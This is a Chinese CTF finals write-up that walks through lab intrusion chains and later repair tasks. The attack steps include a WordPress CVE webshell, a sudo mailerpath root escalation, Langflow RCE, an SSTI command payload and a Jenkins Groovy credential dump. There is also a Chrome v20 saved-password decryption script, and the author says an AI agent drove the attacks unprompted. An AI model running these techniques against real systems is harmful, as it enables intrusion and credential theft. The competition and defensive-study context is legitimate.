京津冀长城杯2026线下决赛

前言#

make chamd5 great again!

这次和米六、lier一起的，但是因为一些事情，某人消失了（，另一个又是pwn手，线下跟单挑一样（，不过最后社会组第二，总排应该是第三，还不错

上午#

场景1 3flag#

基础ip 8.160.190.9

8.160.190.9扫一下全端口得，发现38180端口有wp服务，title泄露版本是6.9.4，明显2026cve直接打

遇到的情况就是rest_route接口会导致服务器宕机重启，直接用脚本的话会卡死，这里让ai直接手动发包了，效果还可以，花了3min创建了账号进后台，然后传插件getshell即可

回过头看看wp里面的文章泄露信息

1
集团邮箱统一格式：拼音全拼@rxpharma.com，例：研发部李家华 = li.jiahua@rxpharma.com。
2
邮箱/办公系统初始口令规则为 Rx@+本人出生月日年后两位（MMddyy），例：1986 年 1 月 1 日出生 → Rx@010186。
3
完整名单见 HR 文档 /wp-content/uploads/onboarding.pdf
4
下载 onboarding.pdf 得到人员名单 + 生日 → 推出 li.jiahua 的初始口令 Rx@010186

横向data先扫一下内网，拿到172.16.2.21主机，这里扫描端口看见2222，ssh上去收集信息

1
cat ~/.pgpass
2
# 127.0.0.1:5432:rx_platform:svc_report:RxReport2026      ← Postgres 只读账号
3
export PGPASSWORD=RxReport2026
4
psql -h 127.0.0.1 -U svc_report -d rx_platform -c '\dt'

读一下数据库

1
service           username  password_enc           iv(hex)                            cipher_mode
2
Harbor Registry   deploy    cypuFhp32Ec06FzNvcwP6A==  30313233343536373839616263646566   AES-256-CBC

同时拿到 /opt/scripts/report_sync.sh，是用来同步harbor的脚本，先ssh里面提权一下

1
Matching Defaults entries for li.jiahua on rd-platform-02:
2
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin,
3
    mail_badpass, mailerpath=/tmp/sudo-mailer
4

5
经典错误导致root执行
6
printf '#!/bin/sh\nid > /tmp/pwned.txt; cp /bin/bash /tmp/rb; chmod 4755 /tmp/rb\n' \
7
  > /tmp/sudo-mailer && chmod 755 /tmp/sudo-mailer
8

9
echo wrong | sudo -S -k /bin/true >/dev/null 2>&1     # 触发 mailer → root 执行
10
cat /tmp/pwned.txt ; ls -la /tmp/rb                   # uid=0(root)
11
/tmp/rb -p                                            # SUID bash → root shell

第二个flag就拿到了，现在横向到harbor，扫一下172.16.0.0/16拿到172.16.2.121:443

这个时候看看是不是harbor，别横向到场景2了

1
GET https://172.16.2.121/                     → <title>Harbor</title>
2
GET /api/v2.0/systeminfo                      → {"auth_mode":"db_auth",...}
3
GET /api/v2.0/projects                        → [{"name":"library","metadata":{"public":"true"},...}]
4
GET /v2/_catalog                              → 401 Unauthorized
5

6
# 1) 公开项目列表（无需认证）
7
GET /api/v2.0/projects?page=1&page_size=100        → library
8
# 2) 公开仓库
9
GET /api/v2.0/projects/library/repositories        → library/ci-agent
10
# 3) registry 需要 token：匿名 token 流程
11
GET /service/token?service=harbor-registry&scope=repository:library/ci-agent:pull
12
GET /v2/library/ci-agent/manifests/latest          (Authorization: Bearer <token>)
13
GET /v2/library/ci-agent/blobs/<config digest>
14
GET /v2/library/ci-agent/blobs/<layer digest>
15

16
# 层内 /etc/ci/deploy.sh
17
#!/bin/bash
18
# RXPharma CI harbor deploy helper
19
# NOTE: service account, DO NOT rotate without IT-SEC signoff (ref ticket RD-1187)
20
HARBOR_ADDR="8.160.171.153"
21
HARBOR_USER="ci-deploy"
22
HARBOR_PASS="rxpharma-internal-token-2026-hb4d8f7c2a1e"
23
docker login -u "$HARBOR_USER" -p "$HARBOR_PASS" "$HARBOR_ADDR"
24
docker push "$HARBOR_ADDR/rd-core/pipeline-runner:${BUILD_TAG:-latest}"

ci-deploy 打 Harbor API登录是 401，但打 registry可以，直接注册上去，然后拉 v1.2 的 manifest + config + 各层，在层里找 flag

整体总结

1
公网 WordPress(38180)  --CVE-2026-63030-->  管理员  --插件上传-->  rx-diag webshell
2
      │
3
      ├── WP 文章泄露口令规则 + onboarding.pdf ──> li.jiahua / Rx@010186
4
      │                                              │
5
      │                                     ssh 172.16.2.21:2222 (rd-platform-02)
6
      │                                              │
7
      │                              .pgpass 泄露 Postgres ──> ops_passwords（诱饵密文）
8
      │                              sudo mailerpath 提权 ──> root ──> data flag
9
      │                                              │
10
      └────────────────── 172.16.0.0/16 全段扫描 ──> 172.16.2.121 = Harbor
11
                                                     │
12
                            公开项目 library/ci-agent ──> ci-deploy 凭据
13
                                                     │
14
                            /v2/_catalog ──> rd-core/pipeline-runner:v1.2 ──> harbor flag

场景2 4flag#

基础ip 8.145.43.204

依旧扫全端口拿到46853，是Langflow未授权rce的nday，首先/static/js/chunk-3f81.js.map泄露源码，拿到版本Langflow 1.8.1

1
GET  /kb/api/v1/version        → {"version":"1.8.1"}
2
GET  /kb/api/v1/auto_login     → 直接返回 access_token（认证绕过！）
3
POST /kb/api/v1/flows/         (Bearer) → 创建 PUBLIC flow
4
       id = 41d015f2-c849-40fe-906f-9397a3f6b9a6
5
POST /kb/api/v1/build_public_tmp/41d015f2-.../flow      ← **无需认证**
6
       body.data.nodes[].data.node.template.code.value = 自定义组件类（任意 Python）
7
       → 返回 job_id
8
GET  /kb/api/v1/build/<job_id>/events   (Bearer) → SSE 流里带出命令输出

上去就是root，拿到flag

源码里面写到后端 acct/create 直接用请求体建用户…服务端默认 role=1。TODO(v2.4): 服务端增加字段白名单，app.py直接读出来

1
role = body.get("role", 1)          # ← 字段白名单缺失，直接把请求体的 role 落库
2
c.execute("INSERT INTO users(phone,pwd,role,created) VALUES(?,?,?,?)", (phone,pwd,role,...))

直接越权到root账号

1
POST /api/v2/acct/create
2
Content-Type: application/json
3

4
{"phone":"19000000008","pwd":"Pwn3d!Pass2026","_tk":"invite2026","role":"2"}
5
→ {"code":0,"msg":"ok","uid":"19000000008"}

fuzz一下看见/admin/report/render，明显的ssti点，签名密钥同样从前端泄露__k = "cb_h5_secret_2026"，sig = md5(ts + key)

这个时候直接打rce，ssti无拦截的

1
{{lipsum.__globals__['os'].popen('cat /app/flag').read()}}

这里封装成稳定隧道先，然后挖了一下配置，langflow的/etc/kb-platform/ci.conf泄露了

1
# KB 平台对接外部系统配置 (运维管理, 勿提交代码库)
2
[ci]
3
url = http://192.168.3.133:8080
4
user = admin
5
password = eZ5xMxF7#*Jsb0fztD22
6
note = 报表流水线构建

admin / eZ5xMxF7#*Jsb0fztD22 是admin。拿 crumb 后直接打 /scriptText（Groovy 任意代码，容器内 root）

这里用ssti的隧道转发过去

1
curl -s -c /tmp/jc -u "$A" "$J/crumbIssuer/api/json" -o /tmp/cr.json
2
C=$(grep -o '"crumb":"[^"]*"' /tmp/cr.json | cut -d'"' -f4)
3
curl -s -b /tmp/jc -u "$A" -H "Jenkins-Crumb: $C" -X POST \
4
     "$J/scriptText" --data-urlencode script@/tmp/g.groovy

flag3 以 Jenkins Secret text 凭据的形式注入，落在 credentials.xml，提取一下

1
import jenkins.model.Jenkins
2
import com.cloudbees.plugins.credentials.CredentialsProvider
3
def creds = CredentialsProvider.lookupCredentials(
4
    com.cloudbees.plugins.credentials.Credentials.class, Jenkins.get(), null, null)
5
creds.each { c ->
6
  println("=== CRED id=" + c.id + " desc=" + c.description + " class=" + c.getClass().getName())
7
  try { println("  SECRET=" + c.getSecret().getPlainText()) } catch(e) {}
8
  try { println("  USER="   + c.getUsername()) } catch(e) {}
9
  try { println("  PASS="   + c.getPassword().getPlainText()) } catch(e) {}
10
}

第四个banking的flag没拿到，赛后听说是打fastjson的链子，可惜了xd

不过里面有很多蜜罐来着，也浪费了很多时间

下午#

下午场景是修复题，还挺有意思，类似一个win10主机rdp上去，里面有MobaXterm连接了几个机器，都有点问题，修复就好了

web修复#

这里先把win10当跳板机做端口转发了

1
# 在 WIN10(192.168.10.15) 上执行
2
netsh interface portproxy reset
3
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=2222 connectaddress=192.168.10.20 connectport=22
4
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=8080 connectaddress=192.168.10.20 connectport=80
5
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=8888 connectaddress=192.168.10.20 connectport=8080
6
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=8443 connectaddress=192.168.10.20 connectport=443
7
netsh interface portproxy show v4tov4

这样就可以nxc winrm 8.160.190.182 -u Administrator -p 'tYNafvdxE9ZgX63' --local-auth -X '<powershell命令>'

ssh上去ssh -p 2222 ubuntu@8.160.190.182

排查一下

1
sudo nginx -T | head -120
2
sudo ls -la /etc/nginx/sites-enabled/ /etc/nginx/conf.d/
3
sudo cat /etc/nginx/sites-enabled/* /etc/nginx/conf.d/*.conf
4
sudo ss -lntp

#	问题	风险
1	`location /download {` + `alias /share/;`（location 无尾斜杠、alias 有尾斜杠）	经典 alias 路径穿越：`/download../etc/passwd` → 任意文件读取
2	`user root;`（nginx.conf）	worker 以 root 运行，任何 nginx 层漏洞直接变 root
3	`server_tokens on;`	泄露 nginx 版本号

顺带发现 sites-enabled/default 里有一处反代配置是upstream portal_backend { server 192.168.10.12:80; keepalive 8; }

修复

1
#!/bin/bash
2
set -e
3
cd /etc/nginx
4
# ① 备份
5
[ -f nginx.conf.orig-bak ] || cp -a nginx.conf nginx.conf.orig-bak
6
[ -f sites-available/default.orig-bak ] || cp -a sites-available/default sites-available/default.orig-bak
7

8
# ② nginx worker 降权：root -> www-data（最小权限）
9
sed -i 's/^user root;/user www-data;/' nginx.conf
10

11
# ③ 关闭版本号泄露
12
sed -i 's/^\( *\)server_tokens on;/\1server_tokens off;/' sites-available/default
13

14
# ④ 修掉 alias 路径穿越：location 补尾斜杠（location 带 `/` + alias 带 `/` 才是安全写法）
15
sed -i 's|^\( *\)location /download {|\1location /download/ {|' sites-available/default
16

17
# ⑤ 语法检查 + 平滑重载
18
nginx -t && systemctl reload nginx
19

20
grep -n '^user' nginx.conf
21
grep -n 'server_tokens\|location /download' sites-available/default
22
ps -o user,pid,cmd -C nginx      # 期望 worker 为 www-data

win10修复#

关卡要求：浏览器被勒索，运维把关键网站密码保存在浏览器里但忘了 → 恢复关键密码并登录该网站。

先定位一下

1
C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\Login Data   (SQLite)
2
C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Local State          (JSON, os_crypt 密钥)
3
C:\Users\<user>\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

只有一个

1
origin_url : http://192.168.10.100:8080/login
2
username   : admin
3
password   : v20 || 12B nonce || ciphertext || 16B tag     (46 字节)

v20 前缀 = Chrome 新版 App-Bound Encryption（ABE），不是老的 v10（DPAPI+AES-GCM）方案：老方案用 Local State -> os_crypt.encrypted_key 里的 AES 密钥直接解，而 v20 还需要 app-bound key，该 key 被 Chrome 的 elevation service（以 SYSTEM 运行）用 IElevator::EncryptData/DecryptData 包裹。

听说火眼可以直接解，但是我没有，这里ai手搓了一下

① 验证 v10 链路（校准）

1
# Local State -> os_crypt.encrypted_key = base64("DPAPI" + blob)，DPAPI 解出 32B AES 密钥（用户层）
2
# 实测得到 v10 key：
3
#   wuhz+ajDL2q0KDN/Rnh5l8or2rIWSkgvrEvvNB+Eq1o=

用 Chrome 自己写一个已知明文的 cookie（max-age + Browser.close 优雅退出，保证落盘），再用该 key 解 → 得到 hello123 / abcdefghij，解密链路验证通过。

② 剥出 app-bound key（ABK）

1
Local State -> os_crypt.app_bound_encrypted_key = "APPB" + DPAPI(LocalMachine)的 blob
2
  └─ DPAPI(LocalMachine) 解开（SYSTEM 上下文）
3
       └─ DPAPI(用户上下文，需 impersonate 交互会话的用户) 解开
4
            └─ 内层结构： [1B 类型=1][12B nonce][32B ciphertext][16B tag]  ← 待解

（也就是 ABK 同时绑定“机器 + 用户”，缺一层都解不开。）

③ 关键突破：分析 elevation_service.exe

v20 的最后一把钥匙不在注册表/DPAPI 里，而在 Chrome 的 elevation service 二进制中。把靶机上的 C:\Program Files\Google\Chrome\Application\127.0.6533.73\elevation_service.exe 拉回本地，反汇编 IElevator::DecryptData → 其核心函数（0x2f2c0）逻辑是：

1
前 1 字节必须是 0x01（类型）
2
nonce = 接下来的 12 字节
3
其余 = ciphertext||tag
4
AAD = 空
5
key  = 硬编码在 .rdata 的 32 字节常量（RVA 0x14ddd0 / 文件偏移 0x14cbd0）

硬编码密钥：

1
b31c6e241ac846728da9c1fac4936651cffb944d143ab816276bcc6da0284787

④ 本地解密

1
import base64, sqlite3
2
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
3

4
# 从 elevation_service.exe 的 RVA 0x14ddd0(文件偏移 0x14cbd0) 取 32 字节
5
KEY = bytes.fromhex("b31c6e241ac846728da9c1fac4936651cffb944d143ab816276bcc6da0284787")
6

7
# app_bound_encrypted_key 剥掉 DPAPI 两层后的内层结构（100B：len/type/path/len/61B blob）
8
struct = base64.b64decode("HwAAAAJDOlxQcm9ncmFtIEZpbGVzXEdvb2dsZVxDaHJvbWU9AAAAAc0W1KwP5YmxNfwFjoFlJXqQEeEPue5Hz4S706SOIztxrTOViptysrk/WLQoO9KKCzyLYTdGNxBlWy2lcg==")
9
blob = struct[-61:]                       # type(1) + nonce(12) + ct+tag(48)
10

11
ABK = AESGCM(KEY).decrypt(blob[1:13], blob[13:], None)
12
print("ABK =", ABK.hex())
13
# ABK = 30e75a433e987cc5c7fe20dd78fc72c52f5914e02cfe733f1233b1affca792d7
14

15
# 解 v20 口令（v20 + 12B nonce + ct+tag，AAD 为空）
16
con = sqlite3.connect("LoginData_2")
17
for url, user, pw in con.execute("select origin_url, username_value, password_value from logins"):
18
    pt = AESGCM(ABK).decrypt(pw[3:15], pw[15:], None)
19
    print(url, user, pt.decode())

拿到http://192.168.10.100:8080/login admin H6HzU99Y4WnreET，然后登录上去就行了

backup#

这里我直接暴力一点了，先把win管理员的密钥打下来了，运维用 MobaXterm 便携版（C:\Users\Administrator\Desktop\MobaXterm_Portable_v26.4\）连内网各节点，会话口令存在 MobaXterm.ini：[Passwords] 为 AES 加密段、[Sesspass] 为 DPAPI blob，都需要主口令才能还原。反向拆加密存储（AES/DPAPI）成本高，而 MobaXterm 运行时会把已解锁的会话口令以明文留在进程私有堆里 → 直接对进程做内存扫描，用「已知明文」当锚点确认命中。

backup其实就是让你回滚的，这里搞一下http://192.168.4.15:8000/IIS/Backup 2026-08-30 170209/890d619b-4687-4ab2-9307-561cac339c73.vhdx，本机解析一下

1
curl -sS -m 600 -o tmp/iisbak/890d619b.vhdx \
2
  "http://192.168.4.15:8000/IIS/Backup%202026-08-30%20170209/890d619b-4687-4ab2-9307-561cac339c73.vhdx"
3
uv run tmp/vhdx2raw.py tmp/iisbak/890d619b.vhdx tmp/iisbak/part.img 1   # VHDX(BAT) -> 稀疏 raw
4
7z l tmp/iisbak/part.img | head -40                                      # 7z 直接读 NTFS 镜像
5
7z x tmp/iisbak/part.img -o/tmp/iisbak/x 'inetpub/wwwroot/QiAnYunGuan/*' # 取出站点目录
6
find tmp/iisbak/x/inetpub/wwwroot/QiAnYunGuan -type f | wc -l            # 49

发现勒索部分

1
$p='C:\inetpub\wwwroot\QiAnYunGuan'
2
Get-ChildItem $p -File -Force | Where-Object { $_.Extension -ne '.gift' } |
3
  Select-Object Length,LastWriteTime,Name | Format-Table -AutoSize        # 现场只剩 cryptor.exe
4
(Get-Item "$p\appsettings.json.gift").Length                              # 475
5
([IO.File]::ReadAllBytes("$p\appsettings.json.gift")[0..7] | %{ $_.ToString('x2') }) -join ' '
6
# 44 43 52 59 50 54 30 31   -> "DCRYPT01"

进行回滚上传到IIS

1
# tmp/restore.ps1（在 .12 上执行）
2
$src='C:\Windows\Temp\clean.zip'; $stage='C:\Windows\Temp\restore'
3
$site='C:\inetpub\wwwroot\QiAnYunGuan'; $ev='C:\Windows\Temp\ransom-evidence'
4

5
Remove-Item $stage -Recurse -Force -EA SilentlyContinue
6
Expand-Archive -Path $src -DestinationPath $stage -Force
7
$staged = (Get-ChildItem "$stage\QiAnYunGuan" -Recurse -File -Force).Count
8

9
# ① 勒索样本/加密文件先归档留证，再从站点移出
10
New-Item -ItemType Directory -Force -Path $ev | Out-Null
11
$ransom = Get-ChildItem $site -File -Force | Where-Object { $_.Extension -eq '.gift' -or $_.Name -eq 'cryptor.exe' }
12
$ransom | ForEach-Object { Copy-Item $_.FullName (Join-Path $ev $_.Name) -Force }
13
$ransom | Remove-Item -Force
14

15
# ② 用干净副本覆盖回站点
16
Copy-Item "$stage\QiAnYunGuan\*" $site -Recurse -Force
17
$restored = (Get-ChildItem $site -Recurse -File -Force).Count
18

19
# ③ 最小权限授权 + 回收应用池（让 IIS 重新加载文件）
20
icacls $site /grant 'IIS APPPOOL\QiAnYunGuanPool:(OI)(CI)(RX)' /T /C /Q | Out-Null
21
& C:\Windows\System32\inetsrv\appcmd.exe recycle apppool /apppool.name:QiAnYunGuanPool
22
Start-Sleep -Seconds 4
23
"staged=$staged restored_files=$restored evidence=$((Get-ChildItem $ev -File -Force).Count) gift_left=$((Get-ChildItem $site -Recurse -File -Force -Filter *.gift).Count)"
24
Invoke-WebRequest 'http://127.0.0.1:8080/' -TimeoutSec 20 -UseBasicParsing | Select-Object StatusCode

IIS#

cryptor.exe可以直接py解包拆开

1
def derive_key(secret: bytes, salt: bytes) -> bytes:
2
    if not secret:
3
        raise CryptorError('密钥不能为空')
4
    return Scrypt(salt=salt, length=32, n=16384, r=8, p=1).derive(secret)
5

6
def encrypt_file(source, destination, secret, overwrite=False):
7
    if destination.exists() and not overwrite:
8
        raise CryptorError(f'输出文件已存在: {destination}')
9
    salt  = os.urandom(16)
10
    nonce = os.urandom(12)
11
    header = MAGIC + salt + nonce
12
    encryptor = Cipher(algorithms.AES(derive_key(secret, salt)), modes.GCM(nonce)).encryptor()
13
    encryptor.authenticate_additional_data(header)
14
    temp = temporary_path(destination)
15
    with open(source, 'rb') as sf, open(temp, 'wb') as of:
16
        of.write(header)
17
        copy_transformed(sf, of, encryptor)          # 1MB 分块
18
        of.write(encryptor.finalize())
19
        of.write(encryptor.tag)
20
        of.flush(); os.fsync(of.fileno())
21
    temp.replace(destination)                        # 原子替换

爆破是不可能的，BackupOpsPlatform.pdb 头是 BSJB —— portable PDB。 Portable PDB 支持 EmbeddedSource 自定义调试信息（kind GUID 0E8A571B-6926-466E-B4AD-8AB04611F5FE），blob 格式是 u32 解压后长度 ‖ raw deflate 流。与其老老实实写元数据表解析器，不如直接扫：对 PDB 每个偏移尝试 zlib.decompressobj(-15)，看解出来的东西是不是以 \ufeff#pragma 开头。

1
while i < n - 8:
2
    try:
3
        o = zlib.decompressobj(-15)
4
        out = o.decompress(d[i:i+200000]) + o.flush()
5
    except Exception:
6
        i += 1; continue
7
    if out[:10] == b'\xef\xbb\xbf#pragma':     # ← BOM + #pragma
8
        hits.append(out)
9
    i += 1

再把dll反编译一下，开始审计代码，问题主要是几个反序列化、sql注入、目录穿越读文件、硬编码默认口令、数据库凭据明文硬编码，修完传上去就行了

MSSQL#

LoginLogs / AuditLogs 还有对象创建时间可以读出来

时间 (2026)	痕迹	解读
08-30 17:42~23:27	`admin` 多次成功登录（源 `192.168.10.1`）	Web 侧已沦陷（弱口令/撞库）
08-30 20:23	`admin` 登录（源 `127.0.0.1`）	本机操作
08-30 20:45:16	`master` 库创建 CLR 程序集 `sp_Gift`（UNSAFE_ACCESS，DLL `Database1`，4993 B）→ 存储过程 `master.dbo.sp_Gift`（类 `StoredProcedures`，方法 `CmdExec`）	核心后门：任意命令执行。攻击者已拿到 sa（经 `Files/Preview` 路径穿越读 `appsettings.json` 明文连接串）
08-31 00:11 / 00:13	`Reports/LegacySearch`（SQLi，`FromSqlRaw` 拼接）→ `Admin/ImportConfig` POST（Detail 留下 `not-a-binaryforma...`，BinaryFormatter 反序列化 RCE 尝试）→ `Files/Preview`、`Files/Browse`	Web 漏洞利用序列，全程被应用审计日志记录
08-31 00:15:42	`n0o0b` 登录失败（源 `::1`）	攻击者试探账号
08-31 00:16:05	`admin` 成功登录（`::1`）	—

然后一个一个清理后门就行了

1
use master
2
GO
3
drop procedure dbo.sp_Gift      -- 先删入口
4
GO
5
drop assembly sp_Gift           -- 再删程序集（否则报 referenced by object）
6
GO
7

8
exec sp_configure 'show advanced options', 1; reconfigure;
9
exec sp_configure 'clr enabled', 0;                -- CLR 集成（后门载体）
10
exec sp_configure 'xp_cmdshell', 0;               -- 命令执行
11
exec sp_configure 'Ole Automation Procedures', 0; -- OLE 自动化
12
exec sp_configure 'Ad Hoc Distributed Queries', 0;
13
reconfigure with override;
14
exec sp_configure 'show advanced options', 0; reconfigure with override;

然后最小化启动+重启就行了

AI配置和消耗#

本地用的pi+ds，花销23rmb，配置了aboutsecurity和leoai-mcp，全程人工0提示，所以我们真的需要gpt吗，真的需要多agent吗，真的需要黑板吗？那么开热点的，是不是真的小丑呢？hhh，在一个ai越来越强的时代，这种人机协同的比赛，我们到底该做什么，才不会被淘汰呢？哈哈

目录

a ctfer on the load

前言#

上午#